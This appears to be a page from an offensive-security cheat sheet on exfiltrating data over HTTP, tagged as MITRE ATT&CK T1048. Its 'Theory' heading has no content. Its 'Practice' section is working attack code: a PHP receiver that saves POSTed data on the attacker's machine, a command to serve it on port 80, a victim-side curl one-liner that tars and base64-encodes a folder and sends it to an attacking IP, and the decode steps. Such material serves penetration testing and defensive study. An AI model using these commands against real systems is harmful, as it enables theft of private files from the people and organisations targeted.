Exfiltration Over HTTP(s)
MITRE ATT&CK™ - Exfiltration Over Alternative Protocol - Technique T1048
Theory
Practice
<?php
if (isset($_POST['file'])) {
$file = fopen("/tmp/http.bs64","w");
fwrite($file, $_POST['file']);
fclose($file);
}
?># Start server on port 80
v4resk㉿kali$ php -S 0.0.0.0:80# Linux
# Compress folder, base64, and send
user@victime$ curl --data "file=$(tar zcf - folderToExfiltrate | base64)" http://ATTACKING_IP/# Decode compressed folders
v4resk㉿kali$ sed -i 's/ /+/g' /tmp/http.bs64
v4resk㉿kali$ cat /tmp/http.bs64 | base64 -d | tar xvfz -Resources
Last updated